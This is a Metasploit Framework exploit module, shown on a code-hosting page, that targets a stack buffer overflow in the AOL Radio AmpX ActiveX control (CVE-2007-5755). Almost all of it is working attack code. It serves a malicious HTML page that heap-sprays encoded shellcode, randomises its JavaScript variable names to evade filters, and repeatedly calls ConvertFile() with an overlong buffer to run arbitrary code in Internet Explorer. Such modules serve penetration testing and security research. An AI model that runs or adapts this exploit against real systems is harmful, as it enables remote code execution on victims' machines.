Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/aol_ampx_convertfile.rb
25684 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack-based buffer overflow in AOL IWinAmpActiveX
18
class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website.
19
By setting an overly long value to 'ConvertFile()', an attacker can overrun
20
a buffer and execute arbitrary code.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'rgod <rgod[at]autistici.org>', # Original exploit [see References]
25
'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation
26
],
27
'References' => [
28
[ 'CVE', '2007-5755' ],
29
[ 'OSVDB', '54706' ],
30
[ 'BID', '35028' ],
31
[ 'EDB', '8733' ],
32
],
33
'DefaultOptions' => {
34
'EXITFUNC' => 'process',
35
},
36
'Payload' => {
37
'Space' => 1024,
38
'BadChars' => "\x00\x09\x0a\x0d'\\",
39
'StackAdjustment' => -3500,
40
},
41
'Platform' => 'win',
42
'Targets' => [
43
[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 250, 'Ret' => 0x0C0C0C0C } ]
44
],
45
'DisclosureDate' => '2009-05-19',
46
'DefaultTarget' => 0,
47
'Notes' => {
48
'Reliability' => UNKNOWN_RELIABILITY,
49
'Stability' => UNKNOWN_STABILITY,
50
'SideEffects' => UNKNOWN_SIDE_EFFECTS
51
}
52
)
53
)
54
end
55
56
def autofilter
57
false
58
end
59
60
def check_dependencies
61
use_zlib
62
end
63
64
def on_request_uri(cli, request)
65
# Re-generate the payload
66
return if ((p = regenerate_payload(cli)) == nil)
67
68
# Encode the shellcode
69
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
70
71
# Setup exploit buffers
72
nops = Rex::Text.to_unescape([target.ret].pack('V'))
73
ret = Rex::Text.uri_encode([target.ret].pack('L'))
74
blocksize = 0x40000
75
fillto = 500
76
offset = target['Offset']
77
78
# Randomize the javascript variable names
79
ampx = rand_text_alpha(rand(100) + 1)
80
j_shellcode = rand_text_alpha(rand(100) + 1)
81
j_nops = rand_text_alpha(rand(100) + 1)
82
j_headersize = rand_text_alpha(rand(100) + 1)
83
j_slackspace = rand_text_alpha(rand(100) + 1)
84
j_fillblock = rand_text_alpha(rand(100) + 1)
85
j_block = rand_text_alpha(rand(100) + 1)
86
j_memory = rand_text_alpha(rand(100) + 1)
87
j_counter = rand_text_alpha(rand(30) + 2)
88
j_ret = rand_text_alpha(rand(100) + 1)
89
j_eax = rand_text_alpha(rand(100) + 1)
90
j_bof = rand_text_alpha(rand(100) + 1)
91
randnop = rand_text_alpha(rand(100) + 1)
92
93
# Build out the message
94
content = %Q|
95
<html>
96
<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' id='#{ampx}'></OBJECT>
97
<script language='javascript'>
98
#{j_shellcode}=unescape('#{shellcode}');
99
var #{randnop} = "#{nops}";
100
#{j_nops}=unescape(#{randnop});
101
#{j_headersize}=20;
102
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
103
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
104
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
105
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
106
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
107
#{j_memory}=new Array();
108
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
109
#{j_eax}='';
110
for(#{j_counter}=0;#{j_counter}<=350;#{j_counter}++)#{j_eax}+=unescape('%FF%FF%FF%FF');
111
#{j_ret}='';
112
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
113
#{j_bof}=#{j_eax}+#{j_ret};
114
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
115
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
116
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
117
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
118
</script>
119
</html>
120
|
121
122
print_status("Sending #{self.name}")
123
124
# Transmit the response to the client
125
send_response_html(cli, content)
126
127
# Handle the payload
128
handler(cli)
129
end
130
end
131
132